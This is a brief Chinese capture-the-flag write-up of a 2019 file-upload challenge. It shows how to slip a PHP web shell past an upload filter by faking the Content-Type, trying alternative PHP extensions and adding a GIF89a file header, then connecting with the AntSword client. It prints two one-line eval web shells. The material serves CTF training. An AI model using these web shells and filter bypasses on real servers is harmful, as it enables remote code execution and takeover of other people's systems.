[极客大挑战 2019]Upload

知识点

1.Content-Type绕过

2.文件头绕过

3.后缀名绕过

 

题目

拿到题目是一道上传题

先来简单地上传一个一句话木马

<?php @eval($_POST['a']);?>

保存为a.php

抓包

提示Not image!

那我们来更改一下Content-Type: image/jpeg

又提示Not php

它既要是一张图片的格式又要是php的文件

我们来改改后缀试试

php,php3,php4,php5,phtml,pht

这里被html实体化,应该是这个样子

考虑绕过

<script language="php">eval($_POST['a']);</script>

又提示

应该是校验了文件的内容

在文件内容的前面加上GIF89a的标识

用蚁剑连一下,在根目录下查找(一般上传后的文件都在upload下)

原文地址:https://www.cnblogs.com/zzjdbk/p/13638757.html